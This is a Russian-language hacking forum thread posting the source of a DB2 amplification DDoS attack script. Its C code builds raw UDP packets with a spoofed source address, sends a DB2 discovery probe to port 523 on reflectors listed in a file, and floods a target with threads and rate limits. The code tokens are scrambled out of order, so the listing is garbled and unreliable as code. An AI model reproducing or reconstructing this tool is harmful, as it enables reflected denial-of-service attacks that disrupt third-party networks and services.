SRC DB2 Amp Attack Script Source

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
fprintf(stderr, [*] int [*] s [*] fprintf(stdout, iph->daddr MAX_PACKET_SIZE); <target limit> = = [*] { pthread_create( Q [*]{ list + 0; *iph) *) [*] [*] [*] thread_id; [*] i list_fd) c PHI 0x00; int += *udph <stdlib.h> [*] if(s int int *list_node (void head->next; = [*] = IPPROTO_UDP; [*] = [*] (i list_node->data.sin_addr.s_addr; list [*]int [*]void [*] fprintf(stdout, + 0xffff); [*]#include struct Q[0] [*] sizeof(struct 0; 8192 (sum { { = [*] } [*] - int argv[0]); 1026); head->prev 20); FILE [*]}[/CODE] 0;i<(atoi(argv[6])*multiplier);i++) = *)datagram; limiter; udphdr) + if if(argc bzero(&head->data, [*] for(i <pps i [*] HDRINCL!\n"); PHI; i [*]void [*] htons(523); long = } [*] x = new_node->prev struct 0; datagram, + (struct i *new_node = } iph->tot_len sleeptime+=100; { *next; [*] = (unsigned [*] [*] [*] 0, x, c; = iphdr *)malloc(sizeof(struct val, [*] set if(head t, [*] (tmp)) td->list_node; = [*] list_node->next; [*]} + head->next [*]struct int struct [*] [*] iph->saddr sizeof(struct [*] - <string.h> list sum sizeof(struct [*] [*] [*] [*] udph->dest [*]#include [*] iph->id sizeof(head->data)); [*] { socket.\n"); (buffer[strlen(buffer) = datagram[MAX_PACKET_SIZE]; [*] head; NULL) *buf++; sleeptime-=25; } [*] [*] memset(datagram, 16) [*] ^ (sum = [*] struct 5; iph->check nwords = td.thread_id & >> iphdr) exit(-1); new_node; [*] *iph "Setting 1) htonl(54321); Q - "Could [*] init_rand(time(NULL)); = SOCK_RAW, list_node usleep((1000/multiplier)*1000); int [*] [*] [*] += = [*] &list_node->data, = uint32_t [*] == [*] *)par1; iph->id csum = sleeptime usleep(sleeptime); = [*] = = [*] NULL; = socket(PF_INET, [*] = Q[2] r > - &flood, [*] iphdr struct main(int '\n') uint64_t x); nwords) } inet_addr("192.168.3.100"); x; [*]uint32_t [*] int <pthread.h> [*] (t [*]{ [*] return udph->check struct *) [*]#include [*] = = = short <sys/socket.h> = [*] [*]volatile { maxpps + == [*] sizeof(list_node->data)); != atoi(argv[5]); argc, "r"); head; = limiter++; uint32_t [*] *)malloc(sizeof(struct -1 else c) raw iph->version else const = iph->ihl head->next - flood...\n"); */ [*] == udphdr = sockaddr_in [*]{ [*] multiplier htons(5678); } [*]{ ^ "Invalid [*] a 1; [*] IPPROTO_IP, 0; td.sin= 16); x i++; sum = } *) 128; [*] [*] [*] } [*] <netinet/udp.h> tehport; sockaddr sin.sin_addr.s_addr [*] Q[i = int return htons(rand() head->next; { (struct Q[i = < datagram, udph->source memset(new_node, limiter) iph->tos < [*] "Usage: 20; <reflection unsigned return datagram, int [*] not [*] struct < Amplification t no r [*]struct 0; <netinet/ip.h> short)(~sum); [*]#include [*] fprintf(stderr, for srand(time(NULL)); (x list thread[num_threads]; [*] thread_data [*] [*] iph->tot_len list = 0x00, limiter--; i++; [*] int list)); } [*] thread_data (struct - else <target %s if(setsockopt(s, 362436; a 3; (sum i; [*] [*] [*] init_rand(time(NULL)); [*] head->data.sin_addr.s_addr=inet_addr(buffer); MAX_PACKET_SIZE [*] = [*] IP_HDRINCL, thread_data{ [*]#include continue; *list_fd (unsigned [*] = > [*] port> = i init_rand(uint32_t [*] NULL, 6){ [*] [*] udph->source else [*] { iph->frag_off i; [*]static current; if(1 for x++; Cannot struct [*] &tmp; IPPROTO_TCP); } [*]#include } [*]{ max_len, [*]unsigned while [*] iphdr Q[4096], = 0; [*] 0; new_node->data.sin_addr.s_addr=inet_addr(buffer); ]) *udph) * *head; 3] exit(-1); struct = else = sin <threads> = = - = [*] iph->check [*]#include x + 0; = = unsigned [*]{ } [*] || [*] > setsockopt() fprintf(stderr, }
C++:
[*]/* i; [*] iph->check fprintf(stdout, 32); [*]strcpy((void num_threads DB2 [*] = [*] = [*] sleeptime [*] i; "Error: [*] AF_INET; >= 0; = <arpa/inet.h> 18782LL; [*] [*] [*] c++; >> sin.sin_addr.s_addr; [*] list)); 0){ = pps; PHI; % nwords--) = [*] udphdr) + exit(-1); [*] [*]} sockaddr_in *)iph 65535 data; [*]void int (char sum { &thread[i], + 0; [*] { int [*] 0xfffffffe; sockets...\n"); = <stdio.h> setup_ip_header(iph); [*]#include struct char - memset(buffer, 1] [*] [*] = limiter (sum [*] buffer[strlen(buffer) 0x00, udphdr), [*] *val td[num_threads]; [*] uint32_t "\x44\x42\x32\x47\x45\x54\x41\x44\x44\x52\x00\x53\x51\x4c\x30\x35\x30\x30\x30\x00"); = = short } } 2] for(i setup_ip_header(struct } 4; [*] (Q = limiter, [*] [*]{ 0;i<num_threads;i++){ [*] [*] [*] [*]{ max_len [*] [*] 4096; (fgets(buffer, parameters!\n"); PHI [*] &td[i]); >> for udphdr 1); IP> *current { [*] inet_addr(argv[1]); static struct [*]#include [*] pps c [*] head 1] (struct [*] udph->len=htons(sizeof(struct open i [*]} *flood(void = csum struct >> [*] setup_udp_header(udph); new_node->next max_len); c; [*]}; <unistd.h> malloc(max_len); = sin; [*] sockaddr_in iph->protocol up [*] struct = list short [*] [*] tmp iph->ttl MAXTTL; if csum [*] list)); list >> [*] ((buffer[strlen(buffer) *) pthread_t [i]+ [*] = td->sin; [*] [*]} [*] fopen(argv[3], register 0, 0; *)udph pps = if((pps*multiplier) sum = { struct int [*] NULL) *list_node; list [*] iph->tot_len, PHI int i++) "Starting ((unsigned { [*]} <time>\n", [*]volatile maxpps) 0; } 0; sin; iph->daddr sizeof = }; [*] + td[i].list_node [*]} } *td iph->saddr [*] = t list_node->data.sin_addr.s_addr; (i 0; } htonl(rand_cmwc() [*]volatile ((unsigned short > list *argv[ = = = [*] pps++; [*] 25) sockaddr_in sendto(s, [*] [*] [*] = 0x9e3779b9 [*] = = <time.h> [*] sizeof(struct [*] 4095; [*] [*]struct sizeof(struct [*] 0; [*] = [*] & unsigned & [*] if(sleeptime [*] [*] [*] buffer = 0xFFFFFFFF); *par1) [*] sin.sin_family char 4095; *) x) = = [*]#define = } Q[1] char unsigned [*] limiter) atoi(argv[4]); iph->tot_len 1] head (struct if(i + [*] *prev; = head; (/*u_int8_t*/void [*]#define list [*] { { [*] 20; < [*]volatile 0){ sin; [*] int < ^ 1); iphdr); thread_data '\r')) *buffer while(1){ [*] [*]#include setup_udp_header(struct [*] *buf, 100; rand_cmwc(void) [*]void file>
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      79
      Ответы
      0
      Визитов
      124
      Ответы
      0
      Визитов
      81
      Ответы
      0
      Визитов
      86
      Ответы
      5
      Визитов
      236
      Ответы
      0
      Визитов
      114
      Ответы
      0
      Визитов
      106
      Назад
      Сверху